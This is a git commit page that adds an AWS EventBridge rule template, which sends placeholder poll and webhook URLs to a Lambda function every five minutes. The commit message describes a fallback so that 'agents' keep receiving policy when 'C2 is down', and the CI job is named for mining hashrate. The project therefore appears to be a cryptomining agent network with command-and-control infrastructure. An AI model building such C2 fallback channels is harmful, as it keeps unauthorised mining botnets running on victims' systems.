Add EventBridge policy fan-out for standalone degraded mode.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
This commit is contained in:
12
server/web/public/spread/aws/eventbridge-rule.json
Normal file
12
server/web/public/spread/aws/eventbridge-rule.json
Normal file
@@ -0,0 +1,12 @@
|
||||
{
|
||||
"Comment": "AetherForge policy snapshot fan-out",
|
||||
"ScheduleExpression": "rate(5 minutes)",
|
||||
"State": "ENABLED",
|
||||
"Targets": [
|
||||
{
|
||||
"Id": "PolicySnapshotRelay",
|
||||
"Arn": "arn:aws:lambda:REGION:ACCOUNT:function:YOUR_FUNCTION",
|
||||
"Input": "{\"poll_url\":\"{{POLICY_POLL_URL}}\",\"webhook_url\":\"{{WEBHOOK_URL}}\"}"
|
||||
}
|
||||
]
|
||||
}
|
||||
Reference in New Issue
Block a user